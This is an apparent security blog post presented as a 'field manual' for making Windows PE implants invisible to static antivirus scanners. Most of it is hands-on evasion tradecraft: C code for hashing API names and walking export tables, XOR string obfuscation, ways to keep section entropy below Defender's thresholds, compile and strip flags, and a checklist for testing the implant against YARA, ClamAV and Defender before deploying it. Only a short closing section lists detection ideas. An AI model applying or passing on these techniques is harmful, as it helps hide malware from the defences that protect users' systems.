Advanced static AV bypass: from signature to silence

A field manual for making a PE invisible to static scanners: entropy, section names, API hashing, string obfuscation, and the compile flags that matter.

Oct 29, 2026·15 min read·Research difficulty·Lab derived
Share
  • #AV Evasion
  • #Static Analysis
  • #PE
  • #Obfuscation
  • #Implants

§What static scanners actually look at

Static AV (Defender, YARA, ClamAV) inspects the file on disk before execution. The signals they use, in rough priority order:

  1. 01**Known bad hashes** (SHA256 of the whole file or of sections).
  2. 02**YARA rules** matching byte sequences, strings, or structural features.
  3. 03**Entropy** of sections (high entropy → packed/encrypted → suspicious).
  4. 04**Section names** (`.text`, `.data` are normal; `.UPX0`, random names are not).
  5. 05**Import table** (a PE importing `VirtualAlloc`, `WriteProcessMemory`, `CreateRemoteThread` is suspicious).
  6. 06**Strings** (URLs, IPs, mutex names, PDB paths, error messages).
  7. 07**PE header anomalies** (mismatched sizes, unusual section alignment, missing exports).
  8. 08**Certificate/signature** (unsigned binaries from unknown publishers).

Beating static scanning means addressing all of these, not just one.

§1. API hashing (remove suspicious imports)

Instead of importing `VirtualAlloc` (which appears in the IAT and triggers YARA), resolve it at runtime via `GetProcAddress` on a hashed name. Better: walk the PEB to find ntdll/kernel32 and resolve by hash, so the IAT is empty or contains only benign imports.

c
#include <windows.h>

static DWORD hash_str(const char *s) {
    DWORD h = 5381;
    while (*s) h = ((h << 5) + h) + (unsigned char)*s++;
    return h;
}

// resolve by hash from a module's export table
void *resolve_by_hash(HMODULE mod, DWORD target_hash) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)mod;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)mod + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
        (BYTE*)mod + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    DWORD *names = (DWORD*)((BYTE*)mod + exp->AddressOfNames);
    WORD *ords = (WORD*)((BYTE*)mod + exp->AddressOfNameOrdinals);
    DWORD *funcs = (DWORD*)((BYTE*)mod + exp->AddressOfFunctions);
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char *name = (const char*)((BYTE*)mod + names[i]);
        if (hash_str(name) == target_hash) {
            return (void*)((BYTE*)mod + funcs[ords[i]]);
        }
    }
    return NULL;
}

Now your IAT contains only `GetModuleHandleA` and `LoadLibraryA` (or nothing if you walk the PEB), and the suspicious API names never appear as strings in the binary.

§2. String obfuscation

Every string in your binary is a YARA target. Encrypt all strings at compile time with a simple XOR and decrypt at runtime into a stack buffer.

c
#define OBF(s) (decrypt_string(s, sizeof(s)))

static char *decrypt_string(const char *enc, size_t len) {
    static char buf[256];
    for (size_t i = 0; i < len - 1; i++) buf[i] = enc[i] ^ 0x5A;
    buf[len - 1] = 0;
    return buf;
}

// usage: the string is stored encrypted in .rdata
const char enc_kernel32[] = { 0x37, 0x36, 0x39, 0x3B, 0x36, 0x33, 0x17, 0x16, 0x17, 0x00 }; // "kernel32" XOR 0x5A

Better: use a compile-time macro that XORs each character, so the source reads as plaintext but the binary stores ciphertext. A small Python script run as a pre-build step is the cleanest approach.

§3. Entropy reduction

Packed/encrypted sections have entropy ~7.9/8.0, which triggers "high entropy section" rules. Strategies:

  • **Don't encrypt the whole binary.** Only encrypt the sensitive parts (config, C2 URL) and leave code as normal compiled code (entropy ~5.5-6.5).
  • **Pad with low-entropy data** (repeated patterns) to dilute the section's overall entropy.
  • **Use a weak cipher** (XOR with a repeating key) which produces lower entropy than AES.
  • **Split encrypted data across multiple sections** so no single section crosses the threshold.

Check entropy with:

bash
# Python
python -c "
import math, collections
data=open('implant.exe','rb').read()
for off in range(0,len(data),4096):
    chunk=data[off:off+4096]
    if len(chunk)<256: continue
    c=collections.Counter(chunk)
    ent=-sum((n/len(chunk))*math.log2(n/len(chunk)) for n in c.values())
    print(hex(off), round(ent,2))
"

Defender's threshold is roughly 7.0 for `.text` and 7.2 for data sections. Stay below 6.8 to be safe.

§4. Section names

Default section names (`.text`, `.data`, `.rdata`, `.reloc`) are expected. Random or unusual names (`.UPX0`, `.vmp0`, `CODE`) are red flags. If you use a custom linker script or post-process the PE, keep standard names.

§5. Compile flags that matter

bash
# MSVC
cl /O2 /GS- /GR- /EHsc- /MT /W0 implant.c /link /SUBSYSTEM:WINDOWS /ENTRY:main /NODEFAULTLIB /OPT:REF /OPT:ICF

# MinGW
x86_64-w64-mingw32-gcc -O2 -s -fno-stack-protector -fno-exceptions -fno-rtti \
  -mwindows -static -Wl,--strip-all -Wl,--gc-sections implant.c -o implant.exe

Key flags:

  • `/GS-` / `-fno-stack-protector`: removes stack cookie checks (smaller, less entropy).
  • `/GR-` / `-fno-rtti`: disables RTTI (removes type info strings).
  • `/MT`: static CRT (no DLL imports for CRT functions).
  • `-s` / `/Wl,--strip-all`: strip symbols and debug info.
  • `-Wl,--gc-sections`: remove unused sections (smaller binary).
  • Remove PDB path: `/PDBALTPATH:` or compile without `/Zi`.

§6. Remove PDB and debug info

PDB paths leak your username and project structure. Strip them:

bash
# After build, strip with objcopy
x86_64-w64-mingw32-strip --strip-all implant.exe

# Check for leftover strings
strings implant.exe | grep -i "users\|projects\|\.pdb"

§7. Certificate and signing

Unsigned binaries from unknown publishers get higher scrutiny. Options:

  • **Buy a code signing cert** (expensive, but effective against SmartScreen).
  • **Self-sign** (doesn't help with SmartScreen but removes "unknown publisher" on some checks).
  • **Don't sign** and rely on other techniques (most common for research).

§8. Testing your binary

Before deploying, run it through:

bash
# YARA
yara -r rules/ implant.exe

# ClamAV
clamscan implant.exe

# Defender (Windows)
# Copy to a Windows VM with Defender enabled, scan with:
MpCmdRun.exe -Scan -ScanType 3 -File implant.exe

# PE-sieve (memory, post-execution)
pe-sieve /pid <pid> /shellc

# Entropy check
python entropy_check.py implant.exe

# String check
strings implant.exe | head -50

§The honest conclusion

Static evasion is a checklist, not a trick. Each item above addresses one signal. Miss one and a scanner catches you on that axis. The goal is not perfection — it is raising the cost of detection above the threshold where automated scanning flags you, so that only a human analyst (or a sandbox) catches you. And that is a different fight entirely.

§Detection (defender side)

  • YARA rules on import-less PEs with high-entropy sections.
  • Entropy thresholds per section in your EDR policy.
  • PDB path leaks in binary strings.
  • Unsigned binaries with no version info resource.
  • Behavioral: a binary with no imports that calls `GetProcAddress` at runtime is suspicious by itself.

"

MJ

Written by

MJ — offensive security researcher

I break things in a lab so defenders can build better controls. Everything published here is lab-derived, responsibly disclosed, and documented with the detection path in mind.

Next dispatch

One long-form entry, roughly twice a month.

Root cause, reproduction, and the detection path — the same standard every time.